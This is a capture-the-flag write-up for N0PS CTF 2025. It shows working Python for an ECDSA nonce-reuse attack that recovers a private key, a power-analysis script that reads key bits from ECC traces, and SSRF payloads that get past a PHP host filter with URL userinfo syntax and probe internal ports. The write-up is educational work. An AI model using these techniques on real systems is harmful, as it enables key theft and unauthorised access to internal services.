N0PS CTF 2025 - Writeup
A comprehensive write-up of the N0PS CTF 2025 by Team NOVA, sharing insights and solutions for various challenges tackled during the competition.
CrypTopia
Free n00psy
Description : I found data left by n00psy who was analysing a security lock before getting captured. Noopsy might have been able to glitch its RNG. This document was also laying around. Can you help me recover the secret to clone a security badge and open the secure door to free n00psy.
Hint 1 : The comms are repeating a single operation over and over again…
Hint 2 : Some curves are quite known, aren’t they?
Files : SignatureLog.txt
, Secret.zip
First Look
the Secret.zip
seems to be encrypted having 2 files
lets try to crack it with rockyou.txt
no luck there, next we check if its a classic zip
it is encrypted with ZipCrypto but the compression is Deflate, so a known plaintext wont work with these files ;-;
Changing Focus
Since we didn’t get anywhere with Secret.zip
, lets focus on SignatureLog.txt
these seems to be ECDSA Signatures of Approve access for ID <id>
, lets parse them in python and analyze them
1
2
3
4
5
6
7
8
9
10
11
12
13
raw = open("SignatureLog.txt").readlines()
data = []
for i in range(0,len(raw),3):
id = int(raw[i].split(" ")[-1][:-3])
r = int(raw[i+1].split(" ")[-1].strip(),16)
s = int(raw[i+2].split(" ")[-1].strip(),16)
data.append((id,r,s))
for (id,r,s) in data:
for d2 in data:
if id!=d2[0] and r!=d2[1]:
print(id,d2[0])
break
bamm , the SignatureLog.txt
contains multiple signature with same r
meaning nonce (k)
is reused , we can use this for nonce reuse attack
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import os
import sys
path = os.path.dirname(
os.path.dirname(os.path.dirname(os.path.realpath(os.path.abspath(__file__)))))
if sys.path[1] != path:
sys.path.insert(1, path)
from shared import solve_congruence
from Crypto.Util.number import long_to_bytes
def attack(n, m1, r1, s1, m2, r2, s2):
"""
Recovers the nonce and private key from two messages signed using the same nonce.
:param n: the order of the elliptic curve
:param m1: the first message
:param r1: the signature of the first message
:param s1: the signature of the first message
:param m2: the second message
:param r2: the signature of the second message
:param s2: the signature of the second message
:return: generates tuples containing the possible nonce and private key
"""
for k in solve_congruence(int(s1 - s2), int(m1 - m2), int(n)):
for x in solve_congruence(int(r1), int(k * s1 - m1), int(n)):
yield int(k), int(x)
import hashlib
def hash_message(m: str):
h = hashlib.sha256(m.encode()).digest()
return int.from_bytes(h, byteorder='big')
n = int("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141", 16)
m1 = hash_message("Approve access for ID 16400215")
m2 = hash_message("Approve access for ID 16400201")
r = int("a53c9ec6c45a6d1d0347b09cb36f3bea52ac37d8e22f4d7cc344db033901bdc6", 16)
s1 = int("a2022a236027f16a5287744745699461906228baaa1124a5f5bfcd0aaeb34b43", 16)
s2 = int("43e149561f9246162d275e6a7354d53a9ce23a727c965a5fdc61c983df53bc4", 16)
key = list(attack(n, m1, r, s1, m2, r, s2))
print(long_to_bytes(key[0][1]))
attack from jvdsn/crypto-attacks
next.txt:
Yay! We made it past the first step to rescue Noopsy. Wasn't that a good sign? But now we go to the next task when we have the time! The comms seem stuck with one single operation now. Some things add up and some don't! Remember, patience is key for rescuing Noopsy!
loading up the traces_ECC.npy
in numpy we see it has shape (20, 16551)
1
2
3
import numpy as np
traces = np.load("traces_ECC.npy",allow_pickle=True)
print(traces.shape)
given the context , this is going to be a side-channel attack , specifically from the next.txt
: The comms seem stuck with one single operation now
and Some things add up and some don't!
, we can infer all 20 traces of 16551 samples are of same operation and we need to identify patterns for double-add and double-only operation , without any additional metadata it it more likely to just require SPA (Simple Power Analysis)
attack.
basically in SPA we determine visual patterns in the power traces to differentiate double-add and double-only operations ,using that we can map double-add to a 1 bit and double-only to a 0 bit of the private key used
We can take the mean of the traces because, based on Hint 1
and next.txt
, we know that all traces correspond to the same operation (like signing the same message), This implies that the internal computation is identical, allowing us to average the traces to reduce noise and highlight consistent leakage patterns
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import numpy as np
from matplotlib import pyplot as plt
traces = np.load("traces_ECC.npy",allow_pickle=True)
print(traces.shape)
traces = np.mean(traces, axis=0)
# traces.shape is now (16551,)
plt.figure(figsize=(16, 6))
plt.plot(traces)
plt.grid(True)
# adjusted for better pattern visibility
plt.subplots_adjust(top=0.7, bottom=0.4,left=0,right=1)
plt.show()
lets Zoom in a little
researching only for side-channel SPA attack on ECC , we come across readings about how double-add and double-only operations different in power traces , one such example trace is
comparing it to our traces plot , we can clearing see a pattern of shorter gaps between peeks (double-only) and longer gaps (double-add) Now to determine the operations programmatically , we can look at the length of gaps between the power peaks, smaller gap = double-only = 0 and bigger gap = double-add = 1 , a little help from gpt goes a long way :D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import numpy as np
from matplotlib import pyplot as plt
from scipy.ndimage import binary_closing
from Crypto.Util.number import bytes_to_long, long_to_bytes
threshold = 30 # threshold for detect ascend/descend
max_spike_width = 9 # samples: ignore dips shorter than this
def find_segments_with_debounce(data, threshold, max_spike_width):
above_raw = data > threshold
above_clean = binary_closing(above_raw, structure=np.ones(max_spike_width))
d = np.diff(above_clean.astype(int))
ascends = np.where(d == 1)[0] + 1
descends = np.where(d == -1)[0] + 1
return ascends, descends, above_raw, above_clean
traces = np.load("traces_ECC.npy",allow_pickle=True)
print(traces.shape)
_, num_samples = traces.shape
mean_trace = np.mean(traces, axis=0)
t = np.arange(num_samples)
asc, desc, mask_raw, mask_clean = find_segments_with_debounce(mean_trace, threshold, max_spike_width)
gaps = []
j = 0
for d in desc:
while j < len(asc) and asc[j] <= d:
j += 1
if j < len(asc):
gaps.append(asc[j] - d)
Plotting for debugging and parameters adjustment
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
plt.figure(figsize=(10, 5))
plt.plot(t, mean_trace, label='Averaged Trace', linewidth=1.5)
plt.hlines(threshold, t[0], t[-1], linestyles='--', color='gray', label='Threshold')
# Overlay cleaned plateau segments
for start, end in zip(asc, desc):
plt.plot(t[start:end], mean_trace[start:end], linewidth=4,
label='Plateau' if start == asc[0] else None)
ymin, ymax = mean_trace.min(), mean_trace.max()
plt.vlines(t[asc], ymin, ymax, colors='green', linestyles=':', label='Ascend')
plt.vlines(t[desc], ymin, ymax, colors='red', linestyles=':', label='Descend')
plt.xlabel('Sample Index')
plt.ylabel('Signal Value')
plt.legend()
plt.tight_layout()
plt.show()
after some changing parameters and visually confirming all peaks and gaps are detected carefully we interpret the gaps as bits for the private key
1
2
3
4
5
6
7
8
gaps = np.array(gaps)
bits= (gaps > 30).astype(int)
bits = "".join(str(b) for b in bits)
num = int(bits,2)
print("Length : ",len(bits))
print("Binary : ",bits)
print("Hex : ",hex(num))
print("Decoded : ",long_to_bytes(num))
Well that doesn’t look right ;-; after checking the binary output a bit , we see that the bits are correct but it is revered so we reversing the binary output before decryption we get
1
bits = "".join(str(b) for b in bits)[::-1]
Almost there!!! , well analysing the binary output manually in CyberChef ,we find there has been a extra 0 bit in the middle of the binary output , probably because our max_spike_width
param was too low and a peak with spiked was interpreted as another gap and 1 bit and a 0 bit was missing at the start and the end, (should really improve the script but hey if it works it works!!!!) Anyway fixing the binary string we get our final flag
1
Binary : 0100111000110000010100000101001101111011010001100011000001010010010111110100101001010101010100110101010001011111001101000101111101010011001100010100110101010000010011000011001101011111001100110101100001000011010010000011010001001110010001110011001101111101
1
FLAG : N0PS{F0R_JUST_4_S1MPL3_3XCH4NG3}
– Team Nova
WebTopia
Blog - That Blogged Too Hard
I landed on this simple-looking blog site — nothing too fancy, just three posts with titles like:
- “How to deal with cuckroaches?”
- “My guide to cook chick”
- “A Desolate Cry for Help”
A normal person might just read them. But I’m in a CTF, so naturally, I tried to break it.
1
2
3
4
5
[
{"id":"1","title":"How to deal with cuckroages ?","name":"oggy"},
{"id":"2","title":"My guide to cook chick","name":"sylvester"},
{"id":"3","title":"A Desolate Cry for Help","name":"tom_the_cat"}
]
JavaScript Spoils the Mystery
The frontend made it way too easy to see how things worked:
1
fetch('/blog.php?blog=all')
Clicking one sends:
1
/blog.php?blog=1
Clearly, some PHP backend is fetching blog data using that blog
parameter. Time to mess with it.
Fuzzin’ and Breakin’
Sent in some spicy nonsense:
1
/blog.php?blog='"`{ ;$Foo}
And PHP screamed:
1
Fatal error: curl_setopt(): cURL option must not contain any null bytes
Wait, curl? This thing is making server-side HTTP requests to:
1
curl_setopt($ch, CURLOPT_URL, 'backend/' . $blog);
This smells like SSRF.
Confirming SSRF: The Fun Way
Tried a NoSQL-style input:
1
/blog.php?blog[$ne]=null
Got this gem:
1
str_starts_with(): Argument #1 ($haystack) must be of type string, array given
Aha! It May be doing:
1
if (str_starts_with($blog, "http://"))
Which means if the blog
param starts with http://
, it treats it as a full URL and passes it to curl
.
Boom. We’re in SSRF town.
But Then, the Filters
Tried:
1
/blog.php?blog=http://localhost/
And got hit with:
1
Warning: Request should only be sent to backend host.
Okay, so the site is filtering SSRF targets. Probably something like:
1
2
3
if (!str_contains($url, 'backend')) {
die("Warning: Request should only be sent to backend host.");
}
/blog.php?blog=http://backend/
?
- No errors.
- But also no output.
Then I tried:
1
/blog.php?blog=http://backend/1
It returned the same content as:
1
/blog.php?blog=1
So the backend itself is mirroring the same data. Kinda boring, but useful confirmation.
Now the Clever Bit: The ``** Bypass**
Tried:
1
/blog.php?blog=http://[email protected]/
No warning! SSRF request went through. Redirected to index page… something’s working…
Why Does http://[email protected]/
Work?
This is an old SSRF trick using Basic Auth syntax in URLs:
1
http://[username]@[host]/path
So http://[email protected]:8080/
is interpreted by the browser or curl (and PHP under the hood) as:
backend
= username127.0.0.1:8080
= actual host
The username is ignored by the server if there’s no password challenge.
✔ The filter sees "backend"
in the string, so it passes
✔ But the actual request goes to 127.0.0.1:8080
Classic SSRF bypass. You love to see it.
Port-Scanning the Backyard
I hit all the classics:
1
2
3
/blog.php?blog=http://[email protected]:5000/
/blog.php?blog=http://[email protected]:8000/
/blog.php?blog=http://[email protected]:1337/
Then:
1
/blog.php?blog=http://[email protected]:8080/
🎉 Jackpot! 🎉
And staring back at me was:
1
N0PS{S5rF_1s_Th3_n3W_W4y}
TL;DR
- Frontend calls
/blog.php?blog=all
, individual posts via ID Backend does:
curl_setopt($ch, CURLOPT_URL, 'backend/' . $blog);
- Or, if it starts with
http://
, uses it as a full URL
- Localhost SSRF blocked with filter
Tried:
/blog.php?blog=http://backend/
→ no output/blog.php?blog=http://backend/1
→ same blog content as/blog.php?blog=1
- Bypassed filter with
http://[email protected]:8080/
- Port 8080 had the flag `N0PS{S5rF_1s_Th3_n3W_W4y}`